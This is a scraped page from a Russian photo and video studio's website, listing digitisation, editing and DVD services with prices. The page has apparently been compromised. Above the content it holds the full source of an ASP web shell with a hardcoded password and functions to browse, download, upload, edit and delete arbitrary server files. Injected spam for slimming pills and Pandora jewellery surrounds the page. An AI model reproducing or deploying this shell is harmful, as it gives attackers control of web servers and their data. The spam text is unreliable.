meizitang
slimming
diets
meizitang botanical slimming
<%@ LANGUAGE="VBSCRIPT" %> <% IntPass = "123123" Response.Buffer = true Response.Clear Dim Name,Password,Login If Not Session("Open") = "True" then%> Small System



Bad Request
click Back button if you were not redirected automatically after 1 minute .....
 

<% Session("Open") = "True" Response.End else if Session("Enter") = "1" then else Login = "True" Password = Request.Form("Passw") If not Password = IntPass then Login= "False" If Login= "False" then Session.Abandon Response.Write "Wrong Canculation !!! Please Try Again !!!" Response.End else Session("Enter") = "1" end if end if End If sAction=Request.QueryString("action") if sAction="download_file" then download() end if sub Download() dim oStream dim szFileName szFileName=Request.QueryString("strPath") & Request.QueryString("strFile") set oStream=Server.CreateObject("ADODB.Stream") oStream.Type=1 oStream.Open on error resume next oStream.LoadFromFile(szFileName) if Err.Number=0 then Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName) Response.AddHeader "Content-Length", oStream.Size Response.ContentType="bad/type" Response.BinaryWrite oStream.Read end if oStream.Close set oStream=nothing Destroy() end sub %> <% action=request.querystring("action") Select Case action Case "delete_file" deleteFile() Case "download_file" download() Case "edit_file" edit_file() Case "create_folder" create_folder() Case "create_file" create_file() Case "upload_file" upload_file() Case "change_disk" change_disk() 'Case else End select if (action<>"edit_file") and (action<>"create_folder") and (action<>"create_file") and (action<>"upload_file") and (action<>"change_disk") then Main_display() End if %> <% '------------------------------------------------------------------------------ Private Sub Main_display() xPath=request.querystring("strPath") if xPath="" then xPath=Server.MapPath("/")&"\" Response.Write("") Response.Write("") strDir = Request("strPath") if strDir = "" Then strDir = Server.MapPath("/") strParse = strDir if Right(strParse, 1) <> "\" Then strParse = strParse & "\" lngPos = InStr(1, strParse, "\") strOut = "₪ " & Left(strParse, lngPos) & "
" x = 2 Do While lngPos <> 0 oldPos = lngPos lngPos = InStr(oldPos + 1, strParse, "\") if lngPos = 0 Then Exit Do For y = 1 To x strIndent = strIndent & " " Next strOut = strOut & strIndent & " ₪ " & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "
" x = x + 2 if lngPos = Len(strParse) Then Exit Do Loop Response.Write("") Response.Write("
") Response.Write("ChAnGe DiR ::: ") Response.Write("CrEat nEw DiR ::: ") Response.Write("Born nEw File ::: ") Response.Write("UpLoad File ::: ") Response.Write("w@ck iT d0wn") Response.Write("
") Response.Write(strOut) strIndent = strIndent & " " Set objFSObject = CreateObject("Scripting.FileSystemObject") Set objFolder = objFSObject.GetFolder(strDir) Set colFolders = objFolder.SubFolders For Each intFol in colFolders strFName = intFol.name Response.Write(strIndent & "  ?" & strFName &"
" & vbcrlf) Next Response.Write("
") Set colFiles = objFolder.Files Response.Write("") For Each intF1 in colFiles strFName = intF1.name Response.write "" Response.write "" Response.write "" Next Response.Write("
♪ " & strFName &"◙ " & "Delete" & "◘ " & "Download" & "
") End Sub '------------------------------------------------------------------------------ Private Sub download() dim oStream dim szFileName szFileName=Request.QueryString("strPath") & Request.QueryString("strFile") set oStream=Server.CreateObject("ADODB.Stream") oStream.Type=1 oStream.Open on error resume next oStream.LoadFromFile(szFileName) if Err.Number=0 then Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName) Response.AddHeader "Content-Length", oStream.Size Response.ContentType="bad/type" Response.BinaryWrite oStream.Read end if oStream.Close set oStream=nothing Destroy() End sub '------------------------------------------------------------------------------ Private Sub deletefile() Set objFSObject = CreateObject("Scripting.FileSystemObject") objFSObject.DeleteFile(request.querystring("strPath") & request.querystring("strFile")) Response.redirect "old.asp?strPath=" & request.querystring("strPath") End sub '------------------------------------------------------------------------------ Private Sub upload_file() Response.Write("") Response.Write("
Upload File
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then dim PosB, PosBBound, PosEBound, PosEHead, PosBFld, PosEFld,strPath dim Boundary, BBoundary, PartBHeader, PartAHeader, PartContent, PartContent2, Binary dim fso, fle, rst, DataString, FileName dim I, Length, ContType, PartName, LastPart, BCrlf, PartContentLength const adLongVarBinary = 205 const adLongVarchar = 201 If Request.ServerVariables("REQUEST_METHOD") = "POST" Then ContType = Request.ServerVariables("HTTP_Content_Type") If LCase(Left(ContType, 19)) = "multipart/form-data" Then PosB = InStr(LCase(ContType), "boundary=") If PosB > 0 Then Boundary = Mid(ContType, PosB + 9) PosB = InStr(LCase(ContType), "boundary=") If PosB > 0 then PosB = InStr(Boundary, ",") If PosB > 0 Then Boundary = Left(Boundary, PosB - 1) end if Length = CLng(Request.ServerVariables("HTTP_Content_Length")) End If If Length > 0 And Boundary <> "" Then Boundary = "--" & Boundary Binary = Request.BinaryRead(Length) For I=1 to len(Boundary) BBoundary = BBoundary & ChrB(Asc(Mid(Boundary,I,1))) Next BCrlf = ChrB(Asc(vbCr)) & ChrB(Asc(vbLf)) PosBBound = InStrB(Binary, BBoundary) PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary, 0) Do While (PosBBound > 0 And PosEBound > 0) PosEHead = InStrB(PosBBound + LenB(BBoundary), Binary, BCrlf & BCrlf) PartBHeader = MidB(Binary, PosBBound + LenB(BBoundary) + 2, PosEHead - PosBBound - LenB(BBoundary) - 2) PartAHeader = "" For I=1 to lenb(PartBHeader) PartAHeader = PartAHeader & Chr(AscB(MidB(PartBHeader,I,1))) Next If Right(PartAHeader,1) <> ";" Then PartAHeader = PartAHeader & ";" PartContent = MidB(Binary, PosEHead + 4, PosEBound - (PosEHead + 4) - 2) PosBFld = Instr(lcase(PartAHeader),"name=") If PosBFld > 0 Then PosEFld = Instr(PosBFld,lcase(PartAHeader),";") If PosEFld > 0 Then PartName = Mid(PartAHeader,PosBFld+5,PosEFld-PosBFld-5) end if Do Until Left(PartName,1) <> """" PartName = Mid(PartName,2) Loop Do Until Right(PartName,1) <> """" PartName = Left(PartName,Len(PartName)-1) Loop end if PosBFld = Instr(lcase(PartAHeader),"filename=""") If PosBFld > 0 Then PosEFld = Instr(PosBFld + 10,lcase(PartAHeader),"""") If PosEFld > 0 Then FileName = Mid(PartAHeader,PosBFld+10,PosEFld-PosBFld-10) end if Do Until Left(FileName,1) <> """" FileName = Mid(FileName,2) Loop Do Until Right(FileName,1) <> """" FileName = Left(FileName,Len(FileName)-1) Loop Else FileName = "" end if if vartype(PartContent) = 8 then Set rst = CreateObject("ADODB.Recordset") PartContentLength = LenB(PartContent) if PartContentLength > 0 then rst.Fields.Append "data", adLongVarBinary, PartContentLength rst.Open rst.AddNew rst("data").AppendChunk PartContent & ChrB(0) rst.Update PartContent2 = rst("data").GetChunk(PartContentLength) rst.close set rst = nothing else PartContent2 = ChrB(0) End If else PartContent2 = PartContent end if PartContentLength = LenB(PartContent2) if PartContentLength > 0 then Set rst = CreateObject("ADODB.Recordset") rst.Fields.Append "data", adLongVarChar, PartContentLength rst.Open rst.AddNew rst("data").AppendChunk PartContent2 rst.Update DataString = rst("data") rst.close set rst = nothing Else dataString = "" End If If FileName <> "" Then FileName = Mid(Filename,InstrRev(FileName,"\")+1) set fso = Server.CreateObject("Scripting.Filesystemobject") strPath=request.querystring("strPath") if strPath <> "" then If right(strPath,1)<>"\" then strPath= strPath & "\" set fle = fso.CreateTextFile(strPath & FileName) else set fle = fso.CreateTextFile(server.MapPath(FileName)) end if fle.write DataString fle.close set fle = nothing set fso = nothing else End If LastPart = MidB(Binary, PosEBound + LenB(BBoundary), 2) If LastPart = ChrB(Asc("-")) & ChrB(Asc("-")) Then PosBBound = 0 PosEBound = 0 else PosBBound = PosEBound PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary) End If loop end if end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") End if End sub '------------------------------------------------------------------------------ Private Sub create_folder() Response.Write("") Response.Write("
CrEat nEw DiR
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then strPath=request.querystring("strPath") Set objFSObject = CreateObject("Scripting.FileSystemObject") if strPath <> "" then If right(strPath,1)<>"/" then strPath= strPath & "/" objFSObject.CreateFolder(strPath & request.form("newSubF")) else objFSObject.CreateFolder(strParse & request.form("newSubF")) end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") end if End sub '------------------------------------------------------------------------------ Private Sub create_file() Response.Write("") Response.Write("
Born nEw FiLe
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then strPath=request.querystring("strPath") Set objFSObject = CreateObject("Scripting.FileSystemObject") if strPath <> "" then If right(strPath,1)<>"/" then strPath= strPath & "/" objFSObject.CreateTextFile(strPath & request.form("newFile")) else objFSObject.CreateTextFile(strParse & request.form("newFile")) end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") End if End sub '------------------------------------------------------------------------------ Private Sub edit_file() Set fso = Server.CreateObject("Scripting.FileSystemObject") File=request.querystring("strFile") Path=request.querystring("strPath") str_edit_File=Path & File response.write("" & str_edit_File & "
") action_sub=request.querystring("action_sub") Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE) If action_sub="save" then Set ts = fso.CreateTextFile (str_edit_File) ts.Write Request.Form("FileContent") Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE) Response.Write "Cool Man !!! You've saved this file successfully !!!
" End if Response.Write("
") Response.Write("
") response.write("
") End sub '------------------------------------------------------------------------------ Private Sub change_disk() Response.Write("") Response.Write("
ChAnGe DiR
") Response.write("
") Server.ScriptTimeout = 6000 Set fsDrive = CreateObject("Scripting.FileSystemObject") Set drvHack = fsDrive.Drives For Each drvType In drvHack strDrives = strDrives & "" x = x + 1 Next Response.write("
") Response.Write("
") End sub '------------------------------------------------------------------------------ Private Sub check_login() Response.Write("") Response.Write("
Đăng nhập
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") End sub '------------------------------------------------------------------------------ %>
Warning: Cannot modify header information - headers already sent by (output started at d:\hst\artfotocente-ru_537b841b\http\webgear\Core\old.asp:107) in d:\hst\artfotocente-ru_537b841b\http\index.php on line 48
АртФотоЦентр / Оцифровка видео, Видеомонтаж
АртФотоЦентр - Люди. Мастерство. Искусство.
АртФотоЦентр: Москва, метро Чистые Пруды, Покровский бульвар, дом 1. Часы работы: Будни 10.00—21.00, (суббота и воскресенье выходной день).
Тел.: +7 (495) 916-22-82, (495) 916-18-97
   
Главная страница | Написать письмо
Цитата
Учитесь находить новое задолго до того, как оно таковым станет.






Скачать пример:
Слайд-шоу стандартное


Скачать пример:
Коррекция киноплёнок



Главная страница | Оцифровка видео, Видеомонтаж
Оцифровка видео, Видеомонтаж

Оцифровка видео, Слайд-шоу,  Видеомонтаж, Оцифровка киноплёнок, Коррекция видео, Оформление DVD, DVD меню.

Наша студия предлагает обработку любых видео форматов, оцифровку (перезапись) видео на DVD или любой другой носитель.
Также мы оцифровываем старые киноплёнки 8мм, делаем коррекцию и накладываем музыкальное сопровождение. При желании Вы можете принести весь ваш видео Архив абсолютно на разных носителях,  оцифровать его в нужной последовательности и записать на DVD. Для быстрого и удобного доступа к нужному эпизоду мы можем разработать навигационное DVD-меню. Вам не придётся теперь перематывать и искать нужный эпизод, всё будет доступно и легко.
Для любителей регулярно снимать свои события (отпуск, праздник, юбилей, день рождения или что-то другое) мы можем предложить разработать музыкальный фильм с эффектами, титрами и анимацией любой сложности или просто поправить видео и вырезать ненужные участки или сюжеты.
Заказав разработку фото слайд-шоу Вы можете вдохнуть новую жизнь в Ваши альбомные или цифровые фото, теперь они будут не просто лежать на полках и CD-дисках, а радовать Вас на экране вашего телевизора под музыкальное сопровождение.
Дарите слайд-шоу близким, удивите друзей фильмом с отпуска,  живите свободной и яркой жизнью! Снимайте видео, фотографируйте, сохраните ваши файлы и записи в истинном формате DVD-видео. Доверьте рутину профессионалам и получите свой фильм упакованный в яркую красивую обложку.

Более подробно о предоставляемых нами  услугах можно узнать на нашем сайте посвященном исключительно фото и видеопроизводству. Всё вопросы по оцифровке, обработке и видеомонтажу.  http://media-cinema.ru/




   Оцифровка видео с киноплёнок 8мм, видеокассет и цифровых носителей.
   Форматы принимаемые на оцифровку и перезапись.


 •   Киноплёнка 8mm. Оцифровка киноплёнок, коррекция, улучшение изображения и запись на DVD
 •   VHS — видеокассета для видеомагнитофонов. 
 •   MiniDV — кассета от цифровых видеокамер. 
 •   DVD-mini 8cm — dvd диски от цифровых видеокамер. 
 •   VHS-C — кассета от аналоговых видеокамер.
 •   Video-8, Hi-8, Digital-8 — кассеты от видеокамер.
 •   CD, Flash-карты, USB — цифровые форматы *AVI, *Mpeg, *Dvix.
 •   DVD — тиражирование и перезапись DVD-дисков.


Запись оцифрованного видео на любой носитель
.

DVD-диск — рекомендуемый формат для записи оцифрованного видео, удобен, распространён и сохраняет качество на долгие годы.
Пожеланию клиента мы запишем оцифрованный материал на любой другой носитель или кассету, также мы можем записать видео на переносные компьютерные HDD диски, для самостоятельной обработки.

Услуги по обработке видеоматериала.

Оцифровка (перезапись) видеоматериала на DVD
Исходный формат
Время записи
Цена
Mini DV, VHS, Video-8,
Hi-8, Digital-8, VHS compact,
DVD-video
 
до 1 часа с одного носителя
 
400 руб.
последующие 15 минут
 
       100 руб.
VIP оцифровка
Оцифровка видео с элементами монтажа (удалением ряби и лишних фрагментов) до 5 фрагментов.
компоновка сюжетов в нужной последовательности.
до 1 часа
 
       700 руб. 
последующие 15 минут
       200 руб.

 

Оцифровка Киноплёнок 8 мм и запись на DVD
Исходный формат
коррекция
Цена
Киноплёнка 8 мм.
оцифровка без коррекции как есть
 
65 руб. за 1 мин.
Киноплёнка 8 мм
оцифровка с коррекцией: удаление склеек с оцифрованного видеоряда, поднятие резкости, выравнивание цветового баланса, срез пустых и испорченных мест, поднятие контраста и регулировка затемнённых или пересвеченных кадров.
85 руб. за 1 мин.
 
Внимание!!! Заказ состоящий из одной или более катушек
с общим временем от 5 до 20минут рассчитывается как 1300руб. (без коррекции) / 1700руб. с коррекцией

с общим временем от 20мин. и более рассчитывается как
65руб. за 1 минуту. (без коррекции) и 85руб. за минуту с коррекцией.

 
 

Монтаж и обработка видеоматериала (создание фильма)
    Наименование услуги

Цена
    Профессиональный видеомонтаж 1 час исходного материала
    (оцифровка, удаление и сведение видеоматериала в сюжетный фильм, 
    добавление красочных переходов, музыкальное сопровождение,
    заставка, титры.)


3.500 руб.
    Простой видеомонтаж 1 час исходного материала
    (оцифровка, монтаж видеоряда, оптимизация сцен, частичное музыкальное 
    сопровождение по согласованию)


2.500 руб.
    Монтаж видеоряда 1 час исходного материала
    (оцифровка, оптимизация длины фрагментов, исправление
    дефектов видеозаписи)


1.500 руб.
    Разработка заставки вступительный ролик из фото и видео сюжетов под 
    музыкальное сопровождение. (не более 5-7минут)

 
 
2.500 руб.
    Тематическая видео-зарисовка (презентация) ролик (5-15мин.)
    В цену включена оцифровка, сканирование и редактирование фото и видео, 
    музыкальное сопровождение.
    (физическое лицо/ юридическое лицо)

 
7000/14000 руб.
    Элементы монтажа  удаление ряби (не более 5 фрагментов)
 
 
300 руб.
    Меню для DVD-диска простое (одна страница до 6 эпизодов)
 
 
500 руб.
    Меню для DVD-диска стандартное. (2 страницы не более 6 эпизодов)
 

750 руб.
    DVD-меню с элементами видео.
 
 
1200 руб.
    Стандартное оформление + DVD Авторинг
    (простое DVD-меню, обложка, нанесение изображения на диск.)

1000 руб.
    Дизайнерское оформление + DVD Авторинг (Разработка общего дизайна,
    стиля, стандартное DVD-меню, обложка, нанесение изображения на диск.)

2000 руб.
    Музыкальное сопровождение (без синхронизации)
 
 
1000 руб.
    Обработка видео (улучшение изображения, контраст, цвет и
    многое
другое.)
 
60 руб./ минута
    Стандартная коррекция фильтрами.
 

500 руб. за 30 мин.
    Конвертирование видео DVD±MPEG (за 10 минут)
 
 
100 руб.
    Слайд-шоу на DVD стандартное (из цифровых фото с музыкой, не мнение
    50 штук. ) 

20 руб./ 1 фото
    Подарочное Слайд-шоу Не более 50-ти фото. Музыкальное сопровождение,
    титры , салют, музыкальное DVD меню, дизайн обложки и нанесение 
    изображения на диск входят в стоимость.
 
5000 руб.
    Архивирование на DVD (Слайд-шоу из оцифрованных фото, без музыки) 

7 руб. за 1 фото
    Обложка для DVD-box (black) простая.

250 руб.
    Обложка для DVD-box (black) стандартная.

500 руб.
    Нанесение изображение на DVD диск

150 руб.
    Стоп-кадр (захват изображения с видеоряда + печать 10x15) 

50 руб.
    Копирование и тиражирование DVD-дисков (диск бесплатно!)

250 руб.
    Запись оцифрованного видео на переносной компьютерный
    HDD-диск. (через USB)


200 руб.
 
 
 
 

Специальное предложение для Свадебных и корпоративных видео операторов — Видеомонтаж и оформление по договорной цене. Цена напрямую зависит от кол-ва часов исходного видео в месяц или сезон. (Вам не придётся теперь тратить время на монтаж отснятого видеоматериала и отказываться от съёмок, Всё что Вам нужно это доверить эту работу специалистам нашей студии.
Гарантия Качества! Исполнение точно в указанные сроки!



ОПИСАНИЕ УСЛУГ


Оцифровка видео
Оцифровка - это перевод видеоматериала в цифровой формат (копирование без изменений) и запись на DVD-диск для последующего просмотра на DVD-плеере. (диск + бокс + запись Бесплатно! Вы платите только за оцифровку) 


VIP оцифровка (индивидуальный подход)
Оцифровка видео, определение кол-ва нужных сюжетов, элементы монтажа (удаление дефектов видео: рябь, камера в пол, ненужный сюжет. Компоновка сюжетов в нужной последовательности, сохранение видео с максимально подходящим качеством.)
 
 
Слайд-шоу
Это фильм из Ваших фотографий. Стандартное слайд-шоу состоит из определённого количества фотографий, которые перелистываются при помощи красочных видеопереходов и сопровождается приятной музыкой.
Для заказа слайд-шоу Вам нужно принести свои цифровые фотографии, указать порядок (их очерёдность) и рассказать пожелание по музыкальному оформлению. Сканирование, ретушь, коррекция оплачиваются отдельно.
 
 
DVD меню
Это иллюстрированное изображение в начале фильма, состоящее из заголовка и выбора видеосюжетов. Меню с музыкальным сопровождением позволяет быстро выбирать и переходить на нужные сюжеты видео. DVD-меню, используется в сочетании с оцифровкой видео, и является красочным дополнением к оцифрованному видеоматериалу.
Для заказа DVD-меню Вам необходимо указать название заголовка, количество и название видеосюжетов.

 
Оформление DVD
Для того чтобы хоть как-то отличать диски между собой и максимально приблизить внешний вид диска к (покупному), мы сделаем красочную обложку для Вашего DVD и нанесём абсолютно любое изображение на сам диск. При желании наши дизайнеры разработают для Вас эксклюзивное оформление DVD, учитывая все Ваши пожелания.
 

 
Видеомонтаж
По сути дела монтаж видео это удаление ненужных участков видео. Но мы не просто удаляем ненужные участки, мы компонуем видео таким образом, чтобы оно смотрелось как одно целое, и фильм не терял свой смысл.
Видеомонтаж это сборник из лучших сюжетов домашнего видео собранных в один фильм, который будет приятно смотреть как Вам, так и Вашим гостям.


Порядок выполнения работ при видеомонтаже :

•    Оцифровка видеоматериала.
•    Просмотр всего оцифрованного видео.
•    Составление предварительного play-листа (порядка сцен).
•    Подбор музыкального сопровождения.
•    Монтаж видео и аудио ряда.
•    Дополнительный монтаж отдельных сцен.
•    Работа над анимацией и титрами (конвертирование).
•    Монтаж аудио ряда с музыкальным сопровождением.
•    Предварительный просмотр проекта.
•    Наложение видео переходов.
•    Подготовка и конвертирование готового видео в один файл.
•    Запись на DVD носитель.


Элементы монтажа
Элементы монтажа это частичное удаление небольших участков испорченного или ненужного видеоматериала с оцифрованного видео. Хорошим примером является удаление ряби в начале и конце видео, а также между сценами и переходами видео с одного сюжета на другой. 
 
 
Обработка видео
Ваше видео уже не дотягивает до идеала? потерялись былые краски или при съёмке было не достаточно освещения? Мы поможем Вам в этом и вернём утраченное. Цветокоррекция видео заключается в повышении контраста и подборе наилучшей цветовой гаммы для Вашего видео.
 
 
Наложение музыкального сопровождения
Для того, чтобы Ваше видео не смотрелось скучно, и было более динамичным, Вам понадобиться музыкальное сопровождение. Приятная лёгкая музыка, которая будет играть как фон к Вашему видеоряду, незаменимо дополнит Ваш фильм.

pandorapandora braceletspandora charmspandora jewelrypandora beadspandora necklacepandorapandora braceletspandora charmspandora jewelrypandora beadspandora necklace